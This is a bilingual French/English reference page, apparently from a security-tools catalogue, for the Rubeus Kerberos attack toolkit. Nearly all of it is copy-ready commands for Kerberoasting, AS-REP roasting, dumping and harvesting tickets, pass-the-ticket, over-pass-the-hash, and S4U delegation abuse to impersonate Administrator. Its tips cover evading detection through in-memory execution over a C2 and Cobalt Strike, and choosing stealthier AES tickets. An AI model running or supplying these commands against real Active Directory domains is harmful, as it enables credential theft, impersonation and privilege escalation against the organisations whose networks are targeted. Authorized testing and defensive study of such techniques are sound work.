← retour aux outils back to tools

# Rubeus

Toolkit Kerberos en C#. Réalise du Kerberoasting, de l'AS-REP Roasting, du pass-the-ticket, de l'over-pass-the-hash, de la collecte de tickets et de l'abus S4U. C# Kerberos toolkit. Performs Kerberoasting, AS-REP Roasting, pass-the-ticket, over-pass-the-hash, ticket harvesting, and S4U abuse.

↗ https://github.com/GhostPack/Rubeus

## Overview

Rubeus is the primary C# toolkit for Kerberos-based attacks in Active Directory. It runs in memory on Windows (no disk touch when loaded via C2) and covers the full Kerberos attack chain from initial enumeration to privilege escalation.

## Kerberoasting

    # Kerberoast all SPNs
    Rubeus.exe kerberoast

    # Output as hashcat format (mode 13100)
    Rubeus.exe kerberoast /outfile:hashes.txt

    # Target specific user
    Rubeus.exe kerberoast /user:svc_sql

    # RC4 only (easier to crack than AES)
    Rubeus.exe kerberoast /rc4opsec

## AS-REP Roasting

    # Find and roast AS-REP Roastable users (don't require preauth)
    Rubeus.exe asreproast

    # Target specific user
    Rubeus.exe asreproast /user:jdoe

    # Output to file
    Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat

## Ticket Harvesting

    # Harvest TGTs from current machine
    Rubeus.exe harvest /interval:30

    # List all tickets in memory
    Rubeus.exe triage

    # Dump all tickets
    Rubeus.exe dump

    # Dump specific ticket
    Rubeus.exe dump /service:krbtgt /luid:0x3e7

    # Monitor for new TGTs (useful on shared servers)
    Rubeus.exe monitor /interval:10 /nowrap

## Pass-the-Ticket

    # Import a .kirbi ticket
    Rubeus.exe ptt /ticket:ticket.kirbi

    # Import base64-encoded ticket
    Rubeus.exe ptt /ticket:BASE64BLOB

    # Verify imported ticket
    klist

## Over-Pass-the-Hash (OPTH)

    # Get TGT using NTLM hash
    Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

    # Get TGT using AES256 key (stealthier)
    Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt

    # Inject into specific LUID
    Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe

## Service Ticket Requests

    # Request a service ticket (TGS)
    Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt

    # S4U2self (impersonate user to service)
    Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt

    # S4U2proxy (constrained delegation abuse)
    Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
      /msdsspn:cifs/server.domain.local /altservice:host,http /ptt

## Certificate-Based Auth (PKINIT)

    # Request TGT using a certificate
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt

## Tips

- Always use `/nowrap` when running over a C2 to avoid line-break issues with base64 tickets
- `/createnetonly` creates a sacrificial process — inject the ticket there to avoid contaminating your current session
- AES256 tickets (`/aes256`) are stealthier than RC4 — AES is the default on modern domains
- Combine with Cobalt Strike’s `execute-assembly` to run entirely in memory

Key commands reference

    Rubeus.exe [command] [options]

    Roasting:
      kerberoast           Kerberoast SPNs
      asreproast           AS-REP Roast users

    Tickets:
      triage               List all tickets
      dump                 Dump tickets
      harvest              Continuously harvest TGTs
      monitor              Monitor for new TGTs
      ptt                  Pass-the-ticket (import)
      purge                Remove all tickets

    TGT Requests:
      asktgt               Request TGT (OPTH/certs)
      asktgs               Request service ticket
      s4u                  S4U2self/S4U2proxy abuse
      renew                Renew a TGT

    Other:
      changepw             Change password via kpasswd
      describe             Describe a ticket
      currentluid          Get current LUID
      klist                List Kerberos tickets

## Vue d’ensemble

Rubeus est le toolkit C# de référence pour les attaques basées sur Kerberos en Active Directory. Il s’exécute en mémoire sous Windows (aucune écriture disque quand il est chargé via un C2) et couvre toute la chaîne d’attaque Kerberos, de l’énumération initiale à l’élévation de privilèges.

## Kerberoasting

    # Kerberoaster tous les SPN
    Rubeus.exe kerberoast

    # Sortie au format hashcat (mode 13100)
    Rubeus.exe kerberoast /outfile:hashes.txt

    # Cibler un utilisateur spécifique
    Rubeus.exe kerberoast /user:svc_sql

    # RC4 uniquement (plus facile à casser que AES)
    Rubeus.exe kerberoast /rc4opsec

## AS-REP Roasting

    # Trouver et roaster les utilisateurs AS-REP Roastable (sans préauth requise)
    Rubeus.exe asreproast

    # Cibler un utilisateur spécifique
    Rubeus.exe asreproast /user:jdoe

    # Sortie vers un fichier
    Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat

## Collecte de tickets

    # Collecter les TGT de la machine courante
    Rubeus.exe harvest /interval:30

    # Lister tous les tickets en mémoire
    Rubeus.exe triage

    # Dumper tous les tickets
    Rubeus.exe dump

    # Dumper un ticket spécifique
    Rubeus.exe dump /service:krbtgt /luid:0x3e7

    # Surveiller les nouveaux TGT (utile sur des serveurs partagés)
    Rubeus.exe monitor /interval:10 /nowrap

## Pass-the-Ticket

    # Importer un ticket .kirbi
    Rubeus.exe ptt /ticket:ticket.kirbi

    # Importer un ticket encodé en base64
    Rubeus.exe ptt /ticket:BASE64BLOB

    # Vérifier le ticket importé
    klist

## Over-Pass-the-Hash (OPTH)

    # Obtenir un TGT en utilisant le hash NTLM
    Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

    # Obtenir un TGT en utilisant la clé AES256 (plus discret)
    Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt

    # Injecter dans un LUID spécifique
    Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe

## Demandes de ticket de service

    # Demander un ticket de service (TGS)
    Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt

    # S4U2self (usurper un utilisateur auprès d'un service)
    Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt

    # S4U2proxy (abus de délégation contrainte)
    Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
      /msdsspn:cifs/server.domain.local /altservice:host,http /ptt

## Authentification par certificat (PKINIT)

    # Demander un TGT en utilisant un certificat
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt

## Conseils

- Toujours utiliser `/nowrap` en passant par un C2 pour éviter les problèmes de retour à la ligne avec les tickets en base64
- `/createnetonly` crée un processus sacrificiel : y injecter le ticket pour éviter de contaminer la session courante
- Les tickets AES256 (`/aes256`) sont plus discrets que RC4 : AES est le défaut sur les domaines modernes
- Combiner avec `execute-assembly` de Cobalt Strike pour tout exécuter en mémoire

Référence des commandes clés

    Rubeus.exe [command] [options]

    Roasting:
      kerberoast           Kerberoast SPNs
      asreproast           AS-REP Roast users

    Tickets:
      triage               List all tickets
      dump                 Dump tickets
      harvest              Continuously harvest TGTs
      monitor              Monitor for new TGTs
      ptt                  Pass-the-ticket (import)
      purge                Remove all tickets

    TGT Requests:
      asktgt               Request TGT (OPTH/certs)
      asktgs               Request service ticket
      s4u                  S4U2self/S4U2proxy abuse
      renew                Renew a TGT

    Other:
      changepw             Change password via kpasswd
      describe             Describe a ticket
      currentluid          Get current LUID
      klist                List Kerberos tickets